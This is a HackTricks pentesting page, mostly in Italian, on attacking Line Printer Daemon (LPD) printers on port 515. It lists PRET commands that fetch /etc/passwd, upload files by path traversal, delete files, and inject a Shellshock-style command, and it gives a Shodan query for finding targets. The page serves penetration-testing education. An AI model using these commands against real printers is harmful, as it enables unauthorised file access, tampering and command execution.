hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

57 lines
4.1 KiB
Markdown

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Introduzione al Protocollo LPD**
Negli anni '80, il **protocollo Line Printer Daemon (LPD)** è stato sviluppato in Berkeley Unix, che in seguito è stato formalizzato attraverso RFC1179. Questo protocollo opera sulla porta 515/tcp, consentendo interazioni tramite il comando `lpr`. L'essenza della stampa tramite LPD implica l'invio di un **file di controllo** (per specificare i dettagli del lavoro e dell'utente) insieme a un **file di dati** (che contiene le informazioni di stampa). Mentre il file di controllo consente la selezione di **vari formati di file** per il file di dati, la gestione di questi file è determinata dall'implementazione specifica di LPD. Un'implementazione ampiamente riconosciuta per sistemi simili a Unix è **LPRng**. È importante notare che il protocollo LPD può essere sfruttato per eseguire **PostScript malevoli** o **lavori di stampa PJL**.
### **Strumenti per Interagire con le Stampanti LPD**
[**PRET**](https://github.com/RUB-NDS/PRET) introduce due strumenti essenziali, `lpdprint` e `lpdtest`, che offrono un metodo semplice per interagire con le stampanti compatibili LPD. Questi strumenti consentono una serie di azioni, dalla stampa di dati alla manipolazione di file sulla stampante, come il download, l'upload o la cancellazione:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Per gli individui interessati ad esplorare ulteriormente il regno del **printer hacking**, una risorsa completa può essere trovata qui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `port 515`
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}